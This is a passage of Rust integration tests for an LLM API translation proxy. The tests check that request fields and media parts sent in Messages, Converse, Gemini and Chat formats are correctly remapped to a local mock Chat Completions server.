client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Chat json_object follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_chat_user_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"user\":\"dest-user-42\""),
"dest Chat user must reach Chat, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-chat-user.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-chat-user"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"gpt-4o","user":"dest-user-42","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("hi"),
"dest Chat user follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_chat_verbosity_safety_metadata_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"verbosity\":\"medium\""),
"dest Chat verbosity must reach Chat, got: {req}"
);
assert!(
req.contains("\"safety_identifier\":\"dest-safety-9\""),
"dest Chat safety_identifier must reach Chat, got: {req}"
);
assert!(
req.contains("\"metadata\":{\"ticket\":\"42\"}"),
"dest Chat metadata must reach Chat, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-chat-verbosity.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-chat-verbosity"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","verbosity":"medium","safety_identifier":"dest-safety-9","metadata":{"ticket":"42"},"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("hi"),
"dest Chat verbosity/safety/metadata follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_messages_user_id_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"user\":\"dest-user-42\""),
"dest Messages metadata.user_id must reach Chat user, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-user.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-user"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4","max_tokens":16,"metadata":{"user_id":"dest-user-42"},"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("hi"),
"dest Messages user_id follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("sampling.user"),
"--dump-loss must not Drop sampling.user, got: {dump}"
);
}
#[test]
fn proxy_dest_messages_output_config_effort_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"reasoning_effort\":\"high\""),
"dest Messages output_config.effort must reach Chat reasoning_effort, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-effort.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-effort"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4","max_tokens":16,"output_config":{"effort":"high"},"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("hi"),
"dest Messages output_config.effort follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("sampling.reasoning_effort"),
"--dump-loss must not Drop sampling.reasoning_effort, got: {dump}"
);
}
#[test]
fn proxy_dest_messages_output_config_format_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("response_format")
&& req.contains("\"type\":\"json_schema\"")
&& req.contains("\"city\""),
"dest Messages output_config.format must reach Chat response_format, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"{\"city\":\"Paris\"}"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-format.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-format"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4","max_tokens":16,"output_config":{"format":{"type":"json_schema","schema":{"type":"object","properties":{"city":{"type":"string"}}}}},"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("Paris"),
"dest Messages output_config.format follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("sampling.json_schema"),
"--dump-loss must not Drop sampling.json_schema, got: {dump}"
);
}
#[test]
fn proxy_dest_messages_service_tier_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"service_tier\":\"auto\""),
"dest Messages service_tier must reach Chat service_tier, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-tier.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-tier"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4","max_tokens":16,"service_tier":"auto","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("hi"),
"dest Messages service_tier follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("path: \"sampling.service_tier\", action: Drop"),
"--dump-loss must not Drop sampling.service_tier, got: {dump}"
);
}
#[test]
fn proxy_dest_messages_disable_parallel_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"parallel_tool_calls\":false"),
"dest Messages disable_parallel_tool_use must reach Chat parallel_tool_calls false, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"hi"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-messages-parallel.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-messages-parallel"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4","max_tokens":16,"tool_choice":{"type":"auto","disable_parallel_tool_use":true},"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("hi"),
"dest Messages disable_parallel_tool_use follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("path: \"sampling.parallel_tool_calls\", action: Drop"),
"--dump-loss must not Drop sampling.parallel_tool_calls, got: {dump}"
);
}
#[test]
fn proxy_dest_converse_document_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = &buf[..n];
let body_start = req
.windows(4)
.position(|w| w == b"\r\n\r\n")
.map(|i| i + 4)
.unwrap_or(req.len());
let up: serde_json::Value =
serde_json::from_slice(&req[body_start..]).expect("upstream json");
let content = up
.pointer("/messages/0/content")
.and_then(serde_json::Value::as_array)
.cloned()
.unwrap_or_default();
let file = content
.iter()
.find(|part| part.get("type").and_then(serde_json::Value::as_str) == Some("file"));
let filename = file
.and_then(|part| part.pointer("/file/filename"))
.and_then(serde_json::Value::as_str);
let file_data = file
.and_then(|part| part.pointer("/file/file_data"))
.and_then(serde_json::Value::as_str)
.unwrap_or("");
let got = file_data.as_bytes();
let mut expected = Vec::from(*b"data:");
expected.extend_from_slice(b"application/pdf");
expected.extend_from_slice(b";base64,");
expected.extend_from_slice(b"JVBERi0x");
assert_eq!(
filename,
Some("note"),
"dest Converse document filename must be note, got hex {}",
got.iter()
.take(48)
.map(|b| format!("{b:02x}"))
.collect::<String>()
);
assert!(
got.starts_with(&expected),
"dest Converse document file_data prefix mismatch: got hex {} want hex {}",
got.iter()
.take(expected.len() + 8)
.map(|b| format!("{b:02x}"))
.collect::<String>(),
expected
.iter()
.map(|b| format!("{b:02x}"))
.collect::<String>()
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-converse-document.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-converse-document"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"messages":[{"role":"user","content":[{"text":"summarize"},{"document":{"format":"pdf","name":"note","source":{"bytes":"JVBERi0x"}}}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Converse document follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("part.document"),
"--dump-loss must not Drop part.document, got: {dump}"
);
}
#[test]
fn proxy_dest_converse_image_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = &buf[..n];
let body_start = req
.windows(4)
.position(|w| w == b"\r\n\r\n")
.map(|i| i + 4)
.unwrap_or(req.len());
let up: serde_json::Value =
serde_json::from_slice(&req[body_start..]).expect("upstream json");
let content = up
.pointer("/messages/0/content")
.and_then(serde_json::Value::as_array)
.cloned()
.unwrap_or_default();
let image = content
.iter()
.find(|part| part.get("type").and_then(serde_json::Value::as_str) == Some("image_url"));
let url = image
.and_then(|part| part.pointer("/image_url/url"))
.and_then(serde_json::Value::as_str)
.unwrap_or("");
let got = url.as_bytes();
let mut expected = Vec::from(*b"data:");
expected.extend_from_slice(b"image/png");
expected.extend_from_slice(b";base64,");
expected.extend_from_slice(b"iVBORw0KGgo");
assert!(
got.starts_with(&expected),
"dest Converse image url prefix mismatch: got hex {} want hex {}",
got.iter()
.take(expected.len() + 8)
.map(|b| format!("{b:02x}"))
.collect::<String>(),
expected
.iter()
.map(|b| format!("{b:02x}"))
.collect::<String>()
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-converse-image.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-converse-image"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"messages":[{"role":"user","content":[{"text":"see"},{"image":{"format":"png","source":{"bytes":"iVBORw0KGgo"}}}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Converse image follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("part.image") && !dump.contains("converse image"),
"--dump-loss must not Drop dest Converse image, got: {dump}"
);
}
#[test]
fn proxy_dest_converse_audio_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = &buf[..n];
let body_start = req
.windows(4)
.position(|w| w == b"\r\n\r\n")
.map(|i| i + 4)
.unwrap_or(req.len());
let up: serde_json::Value =
serde_json::from_slice(&req[body_start..]).expect("upstream json");
let content = up
.pointer("/messages/0/content")
.and_then(serde_json::Value::as_array)
.cloned()
.unwrap_or_default();
let audio = content.iter().find(|part| {
part.get("type").and_then(serde_json::Value::as_str) == Some("input_audio")
});
let data = audio
.and_then(|part| part.pointer("/input_audio/data"))
.and_then(serde_json::Value::as_str);
let format = audio
.and_then(|part| part.pointer("/input_audio/format"))
.and_then(serde_json::Value::as_str);
assert_eq!(
data,
Some("SUQz"),
"dest Converse audio data must reach Chat input_audio, got {up}"
);
assert_eq!(
format,
Some("mp3"),
"dest Converse audio format must reach Chat input_audio, got {up}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-converse-audio.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-converse-audio"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
"--dump-loss",
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"messages":[{"role":"user","content":[{"text":"hear"},{"audio":{"format":"mp3","source":{"bytes":"SUQz"}}}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut dump = String::new();
if let Some(mut err) = child.stderr.take() {
let _ = err.read_to_string(&mut dump);
}
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Converse audio follow-up must remap, got: {resp}"
);
assert!(
!dump.contains("part.audio"),
"--dump-loss must not Drop part.audio, got: {dump}"
);
}
#[test]
fn proxy_dest_gemini_json_mime_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
assert!(
req.contains("\"type\":\"json_object\"") && req.contains("response_format"),
"dest Gemini responseMimeType application/json must reach Chat json_object, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"{\"ok\":true}"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-json-mime.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-json-mime"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"hi"}]}],"generationConfig":{"responseMimeType":"application/json"}}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("ok"),
"dest Gemini json mime follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_parameters_json_schema_reaches_chat() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
